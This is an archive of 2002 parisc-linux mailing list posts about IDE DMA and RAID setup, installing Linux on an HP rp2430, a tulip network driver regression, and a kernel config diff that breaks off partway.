On Wed, Dec 18, 2002 at 11:18:14PM +0100, Joerg Steindlberger wrote:
...
> Okay. I now set hdparm -c 1 /dev/... and hdparm -d 1 /dev/... -- before 
> starting the softwareRAID. The RAID1 is syncing this moment with about 2 
> Mbyte/s.

Excellent!
TBH, I wasn't expecting that to work.

> I think I'll stop it now and mount the shorter 80pin cable again and 
> play with some speed settings. My earlier problem with DMA was, that the 
> kernal crashed when setting the CONFIG_IDEDMA_AUTO=y.

My guess is the IDE code is poking at registers that don't exist.
Did you post console output from the crash?
I'm just curious if it was an HPMC or kernel trap (data page fault).

> > Nope. IDE is EEEeevil ;^)
> Yes, I know. But what would You pay for two 80 GB disks?

The pro/cons of both are well documented.
I'm not going to re-hash them here.  :^)

grant

ps. To answer your question: Nothing. I collect 20 or so 9GB 10K rpm SCSI
drives from the scrap area and setup raid0/1 as needed. ;^)


From - Thu Nov 08 21:26:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] still problems with PCI IDE controller
Date: 19 Dec 2002 01:06:52 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <1040260012.26882.4.camel@irongate.swansea.linux.org.uk>
References: <200212160609.XAA18500@udlkern.fc.hp.com>
	<courier.3E00E3ED.000010DA@server01>
	<20021218212455.GG17944@dsl2.external.hp.com> 
	<courier.3E00F419.0000601B@server01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622039 18822 80.91.229.3 (22 Nov 2014 02:07:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:19 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Joerg Steindlberger <j@steindlberger.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 17:26:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 587624859
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 17:26:25 -0700 (MST)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id gBJ16slQ026975;
	Thu, 19 Dec 2002 01:06:54 GMT
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id gBJ16qZT026973;
	Thu, 19 Dec 2002 01:06:52 GMT
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <courier.3E00F419.0000601B@server01>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17155

On Wed, 2002-12-18 at 22:18, Joerg Steindlberger wrote:
> Okay. I now set hdparm -c 1 /dev/... and hdparm -d 1 /dev/... -- before 
> starting the softwareRAID. The RAID1 is syncing this moment with about 2 
> Mbyte/s. I think I'll stop it now and mount the shorter 80pin cable again and 
> play with some speed settings. My earlier problem with DMA was, that the 
> kernal crashed when setting the CONFIG_IDEDMA_AUTO=y.
> > Nope. IDE is EEEeevil ;^)
> Yes, I know. But what would You pay for two 80 GB disks?

To be fair PIO IDE is evil but UDMA is pretty nice. The big thing
lacking which is slowly coming is TCQ. Given TCQ and SATA hotswap (which
we dont handle at all yet) SCSI is I think rather doomed on the low end.

Alan



From - Thu Nov 08 21:26:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gavin Hubbard <ghub005@xtra.co.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] rp2430 questions
Date: Thu, 19 Dec 2002 13:51:18 +1300
Lines: 11
Approved: news@gmane.org
Message-ID: <20021219005118.LJTP14518.web4-rme.xtra.co.nz@[127.0.0.1]>
Reply-To: ghub005@xtra.co.nz
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622039 18824 80.91.229.3 (22 Nov 2014 02:07:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:19 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 17:51:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta202-rme.xtra.co.nz (mta202-rme.xtra.co.nz [210.86.15.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id C66474861
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 17:51:25 -0700 (MST)
Original-Received: from web4-rme.xtra.co.nz ([210.86.15.142])
          by mta202-rme.xtra.co.nz with ESMTP
          id <20021219005119.FSU1182.mta202-rme.xtra.co.nz@web4-rme.xtra.co.nz>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 19 Dec 2002 13:51:19 +1300
Original-Received: from [127.0.0.1] by web4-rme.xtra.co.nz with SMTP
          id <20021219005118.LJTP14518.web4-rme.xtra.co.nz@[127.0.0.1]>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 19 Dec 2002 13:51:18 +1300
X-Originating-IP: [210.54.70.86]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17156

Hi

I'm installing a dual-boot rp2430 system for one of our developers this weekend. Are there any parisc-linux issues I need to be aware of with regards to the crippled firmware e.g. known installation problems or gotchas?

Also, if we do a firmware upgrade to rp2470 in two or three months time will it require a complete rebuild or reinstallation of the linux OE to support the unlocked hardware?

Regards,

Gavin 



From - Thu Nov 08 21:26:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rp2430 questions
Date: Wed, 18 Dec 2002 18:26:57 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20021219012657.GJ17944@dsl2.external.hp.com>
References: <20021219005118.LJTP14518.web4-rme.xtra.co.nz@[127.0.0.1]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622039 18826 80.91.229.3 (22 Nov 2014 02:07:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Gavin Hubbard <ghub005@xtra.co.nz>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 18:26:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 0B0E64865; Wed, 18 Dec 2002 18:26:58 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021219005118.LJTP14518.web4-rme.xtra.co.nz@[127.0.0.1]>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17157

On Thu, Dec 19, 2002 at 01:51:18PM +1300, Gavin Hubbard wrote:
> Hi
> 
> I'm installing a dual-boot rp2430 system for one of our developers
> this weekend. Are there any parisc-linux issues I need to be aware of
> with regards to the crippled firmware e.g. known installation problems
> or gotchas?

Nope. You will want to upgrade the kernel ASAP though.
Get the latest 2.4.19 kernel you can find.

> Also, if we do a firmware upgrade to rp2470 in two or three months time
> will it require a complete rebuild or reinstallation of the linux OE to
> support the unlocked hardware?

We don't have any rp2430's here to test such an upgrade.
But I can't imagine any difference besides the additional (faster?) CPU
(and more memory) getting recogized. Should your root disk get renamed,
it's possible to recovery from that pretty easily - I've done it
more than a few times.

grant


From - Thu Nov 08 21:26:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rp2430 questions
Date: Wed, 18 Dec 2002 18:29:40 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20021219012940.GK17944@dsl2.external.hp.com>
References: <20021219005118.LJTP14518.web4-rme.xtra.co.nz@[127.0.0.1]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622040 18827 80.91.229.3 (22 Nov 2014 02:07:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Gavin Hubbard <ghub005@xtra.co.nz>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 18:29:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id F4020486E; Wed, 18 Dec 2002 18:29:40 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021219005118.LJTP14518.web4-rme.xtra.co.nz@[127.0.0.1]>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17158

On Thu, Dec 19, 2002 at 01:51:18PM +1300, Gavin Hubbard wrote:
> Are there any parisc-linux issues I need to be aware of...

I forgot to mention: HPUX and Linux must have seperate boot disks.
And read the boot/install HOW-TO that's referenced on esiee's website.
(as usual, www.parisc-linux.org has the links on the front page)

grant


From - Thu Nov 08 21:26:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gavin Hubbard <ghub005@xtra.co.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] rp2430 questions
Date: Thu, 19 Dec 2002 15:08:15 +1300
Lines: 32
Approved: news@gmane.org
Message-ID: <20021219020815.LKJS14518.web4-rme.xtra.co.nz@[127.0.0.1]>
Reply-To: ghub005@xtra.co.nz
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622040 18829 80.91.229.3 (22 Nov 2014 02:07:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:20 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <grundler@dsl2.external.hp.com>, "Grant Grundler"@xtra.co.nz
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 18 19:08:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta203-rme.xtra.co.nz (mta203-rme.xtra.co.nz [210.86.15.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3385D4869
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Dec 2002 19:08:28 -0700 (MST)
Original-Received: from web4-rme.xtra.co.nz ([210.86.15.140])
          by mta203-rme.xtra.co.nz with ESMTP
          id <20021219020820.JBTZ1199.mta203-rme.xtra.co.nz@web4-rme.xtra.co.nz>;
          Thu, 19 Dec 2002 15:08:20 +1300
Original-Received: from [127.0.0.1] by web4-rme.xtra.co.nz with SMTP
          id <20021219020815.LKJS14518.web4-rme.xtra.co.nz@[127.0.0.1]>;
          Thu, 19 Dec 2002 15:08:15 +1300
X-Originating-IP: [210.54.70.86]
X-Original-To: <grundler@dsl2.external.hp.com> "Grant Grundler"
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17159

> On Thu, Dec 19, 2002 at 01:51:18PM +1300, Gavin Hubbard wrote:
> > Hi
> > 
> > I'm installing a dual-boot rp2430 system for one of our developers
> > this weekend. Are there any parisc-linux issues I need to be aware of
> > with regards to the crippled firmware e.g. known installation problems
> > or gotchas?
> 
> Nope. You will want to upgrade the kernel ASAP though.
> Get the latest 2.4.19 kernel you can find.
> 
> > Also, if we do a firmware upgrade to rp2470 in two or three months time
> > will it require a complete rebuild or reinstallation of the linux OE to
> > support the unlocked hardware?
> 
> We don't have any rp2430's here to test such an upgrade.
> But I can't imagine any difference besides the additional (faster?) CPU
> (and more memory) getting recogized. Should your root disk get renamed,
> it's possible to recovery from that pretty easily - I've done it
> more than a few times.

Thanks Grant

The other difference is the PCI controller support - the rp2430 has two working PCI slots and two disabled slots which are enabled by the upgrade.

Since I don't actually know how the device disabling is done in hardware, I'm not convinced that parisc-linux will come up smoothly after I install the upgrade (I'm not worried about HP-UX - it will be fine). Can anyone shed light on this?

Regards,

Gavin



From - Thu Nov 08 21:26:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: 19 Dec 2002 07:27:32 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <1040308053.24208.4.camel@beavis>
References: <3DED9A6600002207@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622040 18832 80.91.229.3 (22 Nov 2014 02:07:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:20 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com,
	Ed Schaller <schallee@darkmist.net>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 19 07:27:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC058482E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Dec 2002 07:27:38 -0700 (MST)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id E35752B108; Thu, 19 Dec 2002 07:27:32 -0700 (MST)
In-Reply-To: <3DED9A6600002207@ocpmta3.freegates.net>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17160

Joel,

Just a heads up ... I will not even have a chance to look at this for
a week or two.

Thanks,

- Ryan

On Tue, 2002-12-17 at 23:30, jsoe0708@tiscali.be wrote:
> Hi Grant,
> >
> >On Tue, Dec 17, 2002 at 04:14:10PM +0100, jsoe0708@tiscali.be wrote:
> >> >I will try to revert tulip driver and advise you.
> >> Well I find some minutes to do this reverse and it works.
> >> Still have to find the bug ?
> >
> >Unfortunately yes.
> >But since the diff is small, it's alot easier.
> >
> >I'm most suspicious about the added checks for length field in eeprom.
> >But I'll review the diff again and tinker with it today or tomorrow.
> >I added that thinking that code only gets executed when there is no
> >phy table (eg built-in). But the add-on cards do have a phy table.
> >
> (well it seems I do mistake when sent following info)
> [also because diff is small]
> In eeprom.c I also suspect:
> line 193: if (ee_data[27] == 0 || ee_data[ee_data[27]] == 0) {
> 
> which I only reverse into:
> if (ee_data[27] == 0) {
> 
> and it works. Unforunately I do not have enough doc to actulay fix the pb.
> May be Ryan could still help us?
> 
> Joel
> 
> ********************************************************************************
> Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be
> 
> 
> 
> 




From - Thu Nov 08 21:26:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
Date: Thu, 19 Dec 2002 18:37:34 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <3DED9BF500002918@ocpmta8.freegates.net>
References: <20021218165813.GA17944@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622041 18833 80.91.229.3 (22 Nov 2014 02:07:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:21 +0000 (UTC)
Cc: "Ed Schaller" <schallee@darkmist.net>,
	parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 19 10:38:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id EEBD14829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Dec 2002 10:38:19 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18P4cX-0002L3-00; Thu, 19 Dec 2002 18:38:05 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 19 Dec 2002 17:37:34 +0000
In-Reply-To: <20021218165813.GA17944@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17161

Hi Grant,

>
>On Tue, Dec 17, 2002 at 08:12:03AM +0100, jsoe0708@tiscali.be wrote:
>> Just to avoid you loose time here is a diff:
>...
>> -	if (ee_data[27] =3D=3D 0) {		/* No valid media table. */
>> +	if (ee_data[27] =3D=3D 0 || ee_data[ee_data[27]] =3D=3D 0) {  /* No =
valid media
>> table. */
>
>Like I suspected, backing out this change made add-on boards work again.=

>I've reverted that change in 2.4.20-pa15 along with a traps.c change.
>Please apply by hand and try the 4-port again.
>
Sorry, I was too tired yesterday evening and have not time today :-(.

But I see that Ed successfully tested. Great (I will also test it, ... ne=
xt
year :))

Thanks for all and let me wish you and your families a Merry Christmas an=
d
a Happy New Year,
    Joel



*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:26:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.20-paxx Config problem?
Date: Thu, 19 Dec 2002 19:06:57 +0100
Lines: 249
Approved: news@gmane.org
Message-ID: <3DED9BF500002922@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622041 18836 80.91.229.3 (22 Nov 2014 02:07:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 19 11:07:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63C604829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Dec 2002 11:07:35 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18P54z-0005rr-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Dec 2002 19:07:29 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 19 Dec 2002 18:06:57 +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17162

Hi all,

Let me first wish you and your families a Merry Christmas and a Happy New=

Year.
Also thanks you all for relevant help.

I need again help because I used a .config file of my own and I obtain a
kernel 2.4.20-paxx operational on my b2k. 
I also try to test the one suggested in arch/parisc/debian-configs/32. 
But this one make hung the kernel at "search devices..." step and the gre=
en
led on the ide cdrom stay light.

Here is the diff between mine and the suggested:
--- config-2.4.20-pa14	2002-12-19 17:36:14.000000000 +0100
+++ 32	2002-12-18 14:27:04.000000000 +0100
@@ -101,32 +101,33 @@
 #
 CONFIG_MD=3Dy
 CONFIG_BLK_DEV_MD=3Dy
-# CONFIG_MD_LINEAR is not set
-# CONFIG_MD_RAID0 is not set
+CONFIG_MD_LINEAR=3Dy
+CONFIG_MD_RAID0=3Dy
 CONFIG_MD_RAID1=3Dy
-# CONFIG_MD_RAID5 is not set
+CONFIG_MD_RAID5=3Dy
 # CONFIG_MD_MULTIPATH is not set
-CONFIG_BLK_DEV_LVM=3Dy
+# CONFIG_BLK_DEV_LVM is not set
 
 #
 # Networking options
 #
 CONFIG_PACKET=3Dy
-# CONFIG_PACKET_MMAP is not set
-# CONFIG_NETLINK_DEV is not set
+CONFIG_PACKET_MMAP=3Dy
+CONFIG_NETLINK_DEV=3Dy
 CONFIG_NETFILTER=3Dy
 CONFIG_NETFILTER_DEBUG=3Dy
 CONFIG_FILTER=3Dy
 CONFIG_UNIX=3Dy
 CONFIG_INET=3Dy
-# CONFIG_IP_MULTICAST is not set
+CONFIG_IP_MULTICAST=3Dy
 # CONFIG_IP_ADVANCED_ROUTER is not set
 CONFIG_IP_PNP=3Dy
 # CONFIG_IP_PNP_DHCP is not set
-# CONFIG_IP_PNP_BOOTP is not set
+CONFIG_IP_PNP_BOOTP=3Dy
 # CONFIG_IP_PNP_RARP is not set
 # CONFIG_NET_IPIP is not set
 # CONFIG_NET_IPGRE is not set
+# CONFIG_IP_MROUTE is not set
 # CONFIG_ARPD is not set
 # CONFIG_INET_ECN is not set
 # CONFIG_SYN_COOKIES is not set
@@ -147,7 +148,7 @@
 CONFIG_IP_NF_MATCH_TOS=3Dm
 # CONFIG_IP_NF_MATCH_ECN is not set
 # CONFIG_IP_NF_MATCH_DSCP is not set
-# CONFIG_IP_NF_MATCH_AH_ESP is not set
+CONFIG_IP_NF_MATCH_AH_ESP=3Dm
 # CONFIG_IP_NF_MATCH_LENGTH is not set
 # CONFIG_IP_NF_MATCH_TTL is not set
